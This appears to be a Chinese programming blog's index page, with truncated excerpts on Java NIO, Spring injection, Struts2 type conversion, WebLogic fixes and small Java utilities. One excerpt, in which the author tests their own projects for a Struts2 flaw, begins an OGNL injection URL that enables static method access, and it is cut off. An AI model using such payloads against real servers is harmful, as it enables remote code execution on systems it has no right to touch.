- 浏览: 38092 次
- 性别:
- 来自: 重庆
最新评论
文章列表
IO
Java NIO概述
Channel
Java NIO Buffer
Java NIO Scatter / Gather
Java NIO 通道之间的数据传输
Java NIO Selector
Java NIO FileChannel
Java NIO SocketChannel
Java NIO ServerSocketChannel
Java NIO DataGramChannel
Java NIO Pipe
Java NIO 与IO
集合
nginx+keepalived双主负载均衡
- 博客分类:
- web服务器
nginx中文详解(配置等) 配置
轮询算法及测试效果
http://kling.blog.51cto.com/3320545/1253474
http://bbs.ywlm.net/thread-855-1-1.html
http://bbs.ywlm.net/thread-845-1-1.html
最近struts漏洞特别火,于是参考例子把自己之前的项目试了一遍,全部都有这个问题。
比如项目中一个有权限路径:http://10.196.144.205:8080/kms/menuAction!getAccountMenu.action
然后输入下面的路径:
http://10.196.144.205:8080/kms/menuAction!getAccountMenu.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.Meth ...
学Spring一段时间,理解了一些Spring的注入对象的原理和实例,自己也写过一些用Spring进行注入对象,特别在SSH整合中这种Spring的注入才体现的淋漓尽致(个人认为),在学习的过程中,难免有些不习惯,原先通过new实例化的对象现在要使用Spring进行bean注入,不过这也应该是Spring的统一管理的细度和好处。(个人理解Spring还不是太深,如果有高人愿意指点一下,非常愿意向您请教)
Spring的注入过程中,有些特殊情况下市不能使用常用的方法进行注入的。最近做个小东西,就发现了一些特殊情况下不能使用平常我们注入的方法进行注入。
特殊情况一:
错误:用weblogic部署项目,访问时报错ClassNotFoundException:org.hibernate.hql.ast.HqlToken 解决方法: 1、命令窗口下启动weblogic: http://guojuanjun.blog.51cto.com/277646/288121 a:拷贝Hibernate3里带的包antlr-2.7.5H3.jar到%WL_HOME%\server\lib下 如(C:\bean\wlserver_10.3\server\lib) b:修改% mydomain% \ startWebLogic.cmd : 在set CLASSPATH之前加上下面一 ...
对象的字段以键值对的形式返回
- 博客分类:
- utils
但是,如果双向关联都设置成fetch = FetchType.EAGER,就直接可以转换成JSON数据
package com.hikvision.iri.comm;
import java.util.HashSet;
import java.util.Set;
public class One implements FkCalss{
private static final long serialVersionUID = 6351525096093825835L;
private int age=0;
private Set<Many> manys=new Has ...
struts类型转换
- 博客分类:
- SSH
今天在做项目的时候,遇到一个很纠结的问题:
jsp页面想将 0 传到后台Action类中有一个protected Double bdktpl字段
始终出错setBdktpl([Ljava.lang.String;)]
经过查询资料 最终解决
1.自己定义一个转换器:---------------------------------------------------
package com.hikvision.iri.util;
import java.util.Map;
import org.apache.struts2.util.StrutsTypeConve ...
public static String getLocalIP() {
String ipAdress = " ";
String myHost = " ";
InetAddress myIPaddress = null;
try {
myIPaddress = InetAddress.getLocalHost();
myHost = myIPaddress.toString();
ipAdress = myHost.substring ...
调高内存使用
打开
Myeclipse-Window-preferences-MyEclipse-Servers-Tomcat-Tomcat6.x-JDK
写入
-Xmx512M
-Xms512M
-XX:PermSize=64M
-XX:MaxPermSize=192m
-XX:ReservedCodeCacheSize=48m
有一个要求就是获得范型中类型;想了很多招都不能实现。
但有框架确实能够达到这个要求,他们是怎么去实现的呢?
import java.lang.reflect.Method;
import java.lang.reflect.ParameterizedType;
import java.lang.reflect.Type;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
public class TestFanXing {
public static void main(String[] arg ...
今晚发现,其实,不用这么麻烦也可以
直接定义java.sql.Date就可以了
//==============form1.jsp----------------------------
<form action="DateAction.do" method="post">
date:<input type="text" name="date1"/>在这里输入2010-10-1
<input type="submit" value=& ...
<script type="text/javascript" >
//通过javascript 验证xml文件,是否符号dtd约束;创建对象,负责约束
var xml=new ActiveXObject("Microsoft.XMLDOM");
//开启校验,xml
xml.validateOnParse="true";
//装载xml文档
xml.load("1.xml");
//显示出错信息和出错的行数
alert(xml.parseError.resson ...
新发现----享元模式
- 博客分类:
- utils
java1.5新知识:
public class A {
public static void main(String[] args) {
/*Integer i=12;
Integer i2=12;
System.out.println(i==i2);//true*/
/*
Integer i=133;
Integer a=133;
System.out.println(i==a);//false*/
/*
Integer i=Integer.valueOf(1);
Integer a=Integer.va ...
package cn.java;
public class ChineseSpelling {
private static int[] pyvalue = new int[] { -20319, -20317, -20304, -20295,
-20292, -20283, -20265, -20257, -20242, -20230, -20051, -20036,
-20032, -20026, -20002, -19990, -19986, -19982, -19976, -19805,
-19784, -19775, -19774, -19763, -19756, ...